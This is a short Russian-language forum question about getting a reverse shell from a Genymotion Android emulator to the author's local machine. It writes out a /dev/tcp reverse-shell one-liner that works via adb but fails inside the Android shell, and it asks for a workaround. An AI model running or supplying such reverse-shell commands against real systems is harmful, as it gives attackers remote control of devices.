Я пытаюсь получить обратную оболочку от устройства Genymotion Android (8.0.0).
IP моей локальной машины: 192.168.178.101
Приведенная ниже команда, когда выполняется с моего хоста, дает мне оболочку.
rewanth@ubuntu:~$ adb shell "sh -i >& /dev/tcp/192.168.178.101/4444 0>&1"
Но когда я делаю это прямо из оболочки android, я получаю следующую ошибку. Почему?
rewanth@ubuntu:~$ adb shell
vbox86p:/# sh -i >& /dev/tcp/192.168.178.101/4444 0>&1
/system/bin/sh: >&/dev/tcp/192.168.178.101/4444 : illegal file descriptor name
Любой обходной путь / другой способ получить обратную оболочку из android оболочки?